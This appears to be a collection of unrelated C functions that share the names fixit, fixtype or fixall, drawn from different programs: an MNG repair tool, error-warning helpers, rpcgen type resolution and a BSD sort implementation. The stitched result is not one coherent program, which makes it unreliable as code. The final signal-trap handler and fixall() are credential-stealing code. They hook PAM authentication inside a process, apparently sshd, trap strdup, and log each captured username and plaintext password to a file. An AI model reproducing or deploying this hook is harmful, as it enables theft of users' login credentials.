int main(int argc, char *argv[]) { if (argc > 2) /* need two (2) parameters ! */ return fixit (argv[1], argv[2]); else fprintf (stdout, "\nUsage: mngrepair <input.mng> <output.mng>\n\n"); return 0; }
void vWarn(char *fmt, va_list ap) { char r[MAXERRSIZE]; char _ErrBuf[2 * MAXERRSIZE]; if (_WarnFunc != (VPF) NULL) { int errnum = errno; fmt = fixit(errnum, fmt,r); (void) vsprintf(_ErrBuf, fmt, ap); (_WarnFunc) (_ErrBuf); } }
void Warn(char *fmt,...) { char r[MAXERRSIZE]; char _ErrBuf[2 * MAXERRSIZE]; if (_WarnFunc != (VPF) NULL) { int errnum = errno; va_list ap; fmt = fixit(errnum, fmt,r); va_start(ap, fmt); (void) vsprintf(_ErrBuf, fmt, ap); va_end(ap); (_WarnFunc) (_ErrBuf); } return; }
static char* fixit(char* type, char* orig) { definition* def; def = (definition*)FINDVAL(defined, type, findit); if (def == NULL || def->def_kind != DEF_TYPEDEF) { return (orig); } switch (def->def.ty.rel) { case REL_VECTOR: return (def->def.ty.old_type); case REL_ALIAS: return (fixit(def->def.ty.old_type, orig)); default: return (orig); } }
void Exit(int exitcode, char *fmt,...) { char r[MAXERRSIZE]; char _ErrBuf[2 * MAXERRSIZE]; int errnum = errno; va_list ap; fmt = fixit(errnum, fmt, r); va_start(ap, fmt); (void) vsprintf(_ErrBuf, fmt, ap); va_end(ap); if (_WarnFunc != (VPF) NULL) (_WarnFunc) (_ErrBuf); else _DefaultWarnFunc(_ErrBuf); exit(exitcode); }
static const char * fixit (const char *type, const char *orig) { definition *def; def = findval (defined, type, findit); if (def == NULL || def->def_kind != DEF_TYPEDEF) { return orig; } switch (def->def.ty.rel) { case REL_VECTOR: if (streq (def->def.ty.old_type, "opaque")) return ("char"); else return (def->def.ty.old_type); case REL_ALIAS: return (fixit (def->def.ty.old_type, orig)); default: return orig; } }
char * fixtype(char *type) { return (fixit(type, type)); }
const char * fixtype (const char *type) { return fixit (type, type); }
int main(int argc, char *argv[]) { int ch, i, stdinflag = 0; char cflag = 0, mflag = 0; char *outfile, *outpath = NULL; struct field *fldtab; size_t fldtab_sz, fld_cnt; size_t alloc_size; struct filelist filelist; int num_input_files; FILE *outfp = NULL; struct rlimit rl; struct stat st; setlocale(LC_ALL, ""); /* bump RLIMIT_NOFILE to maximum our hard limit allows */ if (getrlimit(RLIMIT_NOFILE, &rl) < 0) err(2, "getrlimit"); rl.rlim_cur = rl.rlim_max; if (setrlimit(RLIMIT_NOFILE, &rl) < 0) err(2, "setrlimit"); d_mask[REC_D = '\n'] = REC_D_F; d_mask['\t'] = d_mask[' '] = BLANK | FLD_D; /* fldtab[0] is the global options. */ fldtab_sz = 3; fld_cnt = 0; alloc_size = fldtab_sz * sizeof(*fldtab); fldtab = malloc(alloc_size); if (fldtab == NULL) err(1, "Cannot allocate %zu bytes", alloc_size); memset(fldtab, 0, alloc_size); #define SORT_OPTS "bcdD:fHik:lmno:rR:sSt:T:ux" /* Convert "+field" args to -f format */ fixit(&argc, argv, SORT_OPTS); if (!(tmpdir = getenv("TMPDIR"))) tmpdir = _PATH_TMP; while ((ch = getopt(argc, argv, SORT_OPTS)) != -1) { switch (ch) { case 'b': fldtab[0].flags |= BI | BT; break; case 'c': cflag = 1; break; case 'D': /* Debug flags */ for (i = 0; optarg[i]; i++) debug_flags |= 1 << (optarg[i] & 31); break; case 'd': case 'f': case 'i': case 'n': case 'l': fldtab[0].flags |= optval(ch, 0); break; case 'H': /* -H was ; use merge sort for blocks of large files' */ /* That is now the default. */ break; case 'k': alloc_size = (fldtab_sz + 1) * sizeof(*fldtab); fldtab = realloc(fldtab, alloc_size); if (fldtab == NULL) err(1, "Cannot re-allocate %zu bytes", alloc_size); memset(&fldtab[fldtab_sz], 0, sizeof(fldtab[0])); fldtab_sz++; setfield(optarg, &fldtab[++fld_cnt], fldtab[0].flags); break; case 'm': mflag = 1; break; case 'o': outpath = optarg; break; case 'r': REVERSE = 1; break; case 's': /* * Nominally 'stable sort', keep lines with equal keys * in input file order. (Default for NetBSD) * (-s for GNU sort compatibility.) */ posix_sort = 0; break; case 'S': /* * Reverse of -s! * This needs to enforce a POSIX sort where records * with equal keys are then sorted by the raw data. * Currently not implemented! * (using libc radixsort() v sradixsort() doesn't * have the desired effect.) */ posix_sort = 1; break; case 't': if (SEP_FLAG) usage("multiple field delimiters"); SEP_FLAG = 1; d_mask[' '] &= ~FLD_D; d_mask['\t'] &= ~FLD_D; d_mask[(u_char)*optarg] |= FLD_D; if (d_mask[(u_char)*optarg] & REC_D_F) errx(2, "record/field delimiter clash"); break; case 'R': if (REC_D != '\n') usage("multiple record delimiters"); REC_D = *optarg; if (REC_D == '\n') break; if (optarg[1] != '\0') { char *ep; int t = 0; if (optarg[0] == '\\') optarg++, t = 8; REC_D = (int)strtol(optarg, &ep, t); if (*ep != '\0' || REC_D < 0 || REC_D >= (int)__arraycount(d_mask)) errx(2, "invalid record delimiter %s", optarg); } d_mask['\n'] = d_mask[' ']; d_mask[REC_D] = REC_D_F; break; case 'T': /* -T tmpdir */ tmpdir = optarg; break; case 'u': UNIQUE = 1; break; case '?': default: usage(NULL); } } if (UNIQUE) /* Don't sort on raw record if keys match */ posix_sort = 0; if (cflag && argc > optind+1) errx(2, "too many input files for -c option"); if (argc - 2 > optind && !strcmp(argv[argc-2], "-o")) { outpath = argv[argc-1]; argc -= 2; } if (mflag && argc - optind > (MAXFCT - (16+1))*16) errx(2, "too many input files for -m option"); for (i = optind; i < argc; i++) { /* allow one occurrence of /dev/stdin */ if (!strcmp(argv[i], "-") || !strcmp(argv[i], _PATH_STDIN)) { if (stdinflag) warnx("ignoring extra \"%s\" in file list", argv[i]); else stdinflag = 1; /* change to /dev/stdin if '-' */ if (argv[i][0] == '-') { static char path_stdin[] = _PATH_STDIN; argv[i] = path_stdin; } } else if ((ch = access(argv[i], R_OK))) err(2, "%s", argv[i]); } if (fldtab[1].icol.num == 0) { /* No sort key specified */ if (fldtab[0].flags & (I|D|F|N|L)) { /* Modified - generate a key that covers the line */ fldtab[0].flags &= ~(BI|BT); setfield("1", &fldtab[++fld_cnt], fldtab->flags); fldreset(fldtab); } else { /* Unmodified, just compare the line */ SINGL_FLD = 1; fldtab[0].icol.num = 1; } } else { fldreset(fldtab); } settables(); if (optind == argc) { static const char * const names[] = { _PATH_STDIN, NULL }; filelist.names = names; num_input_files = 1; } else { filelist.names = (const char * const *) &argv[optind]; num_input_files = argc - optind; } if (cflag) { order(&filelist, fldtab); /* NOT REACHED */ } if (!outpath) { toutpath[0] = '\0'; /* path not used in this case */ outfile = outpath = toutpath; outfp = stdout; } else if (lstat(outpath, &st) == 0 && !S_ISCHR(st.st_mode) && !S_ISBLK(st.st_mode)) { /* output file exists and isn't character or block device */ struct sigaction act; static const int sigtable[] = {SIGHUP, SIGINT, SIGPIPE, SIGXCPU, SIGXFSZ, SIGVTALRM, SIGPROF, 0 }; int outfd; errno = 0; if (access(outpath, W_OK)) err(2, "%s", outpath); (void)snprintf(toutpath, sizeof(toutpath), "%sXXXXXX", outpath); if ((outfd = mkstemp(toutpath)) == -1) err(2, "Cannot create temporary file `%s'", toutpath); (void)atexit(cleanup); act.sa_handler = onsignal; (void) sigemptyset(&act.sa_mask); act.sa_flags = SA_RESTART | SA_RESETHAND; for (i = 0; sigtable[i]; ++i) /* always unlink toutpath */ sigaction(sigtable[i], &act, 0); outfile = toutpath; if ((outfp = fdopen(outfd, "w")) == NULL) err(2, "Cannot open temporary file `%s'", toutpath); } else { outfile = outpath; if ((outfp = fopen(outfile, "w")) == NULL) err(2, "output file %s", outfile); } if (mflag) fmerge(&filelist, num_input_files, outfp, fldtab); else fsort(&filelist, num_input_files, outfp, fldtab); if (outfile != outpath) { if (access(outfile, F_OK)) err(2, "%s", outfile); /* * Copy file permissions bits of the original file. * st is initialized above, when we create the * temporary spool file. */ if (lchmod(outfile, st.st_mode & ALLPERMS) != 0) { err(2, "cannot chmod %s: output left in %s", outpath, outfile); } (void)unlink(outpath); if (link(outfile, outpath)) err(2, "cannot link %s: output left in %s", outpath, outfile); (void)unlink(outfile); toutpath[0] = 0; } exit(0); }
static void sigtrap(int x, siginfo_t *si, void *vp) { ucontext_t *uc = vp; void *arg = NULL; struct pam_handle *ph = NULL; struct handler *mod = NULL; pid_t pid = getpid(); if (!parent_pid) parent_pid = pid; #ifdef __x86_64__ greg_t ip = uc->uc_mcontext.gregs[REG_RIP]; arg = (void *)uc->uc_mcontext.gregs[REG_RDI]; #else // x86 is not implemented, I just show it to give an idea greg_t ip = uc->uc_mcontext.gregs[REG_EIP]; #endif fprintf(flog, "[%d] TRAP@ 0x%zx\n", pid, ip); // a trap due to modified "ret", correct it if (ip == magic_ip) { fprintf(flog, "[%d] corrected ret (0x%zx)\n", pid, orig_ret); uc->uc_mcontext.gregs[REG_RIP] = orig_ret; if (done) { fixall(); return; } trapit((void *)trap_ip, -1); return; } if (done) { fixall(); return; } // this is a finite state machine (FSM), we trap ourself forward // until we reach the final strdup() for the password // If the FSM is left, all hooks are cleaned up in target process // since the last state does not define new hooks if (ip == (greg_t)hooks[0]) { fixit(hooks[0]); ph = (struct pam_handle *)arg; mod = ph->handlers.conf.authenticate; do { fprintf(flog, "[%d] TRAP1: loaded PAM modules: %s\n", pid, mod->mod_name); if (strstr(mod->mod_name, "pam_unix")) break; } while ((mod = mod->next) != NULL); // hook pam authenticate function if (mod != NULL) trapit(mod->func, 1); } else if (ip == (greg_t)hooks[1]) { fixit(hooks[1]); ph = (struct pam_handle *)arg; fprintf(flog, "[%d] TRAP2: hooking strdup() user=%s\n", pid, ph->user); user = strdup(ph->user); // carefull to only hook after we used strdup() ourself trapit(dlsym(NULL, "strdup"), 2); } else if (ip == (greg_t)hooks[2]) { fixall(); done = 1; fprintf(flog, "[%d] TRAP3: credentials: user=%s pwd=%s\n", pid, user, (char *)arg); #ifndef FEDORA11 // Since we dont modify pages, the protections are shared across childs. // Only child-sshd is the one which must trap strdup(). If a hook[1] is defined // and we are the parent and we are trapped at a function we dont // hook, it means we are all done. } else if (pid == parent_pid && hooks[1] != NULL) { fixall(); done = 1; fprintf(flog, "[%d] parent trapped after in state 1. cleanup.\n", pid); #endif // some other function inside a nx page was unintentionally trapped; // make page temorgary +x, and trap upon return of the function } else { fixit((void *)ip); fprintf(flog, "[%d] wrong hit at 0x%zx, redirecting...\n", pid, ip); orig_ret = *(greg_t *)uc->uc_mcontext.gregs[REG_RSP]; trap_ip = ip; *(greg_t *)uc->uc_mcontext.gregs[REG_RSP] = magic_ip; } return; }
void fixall() { int i; for (i = 0; i < sizeof(hooks)/sizeof(hooks[0]); ++i) fixit(hooks[i]); }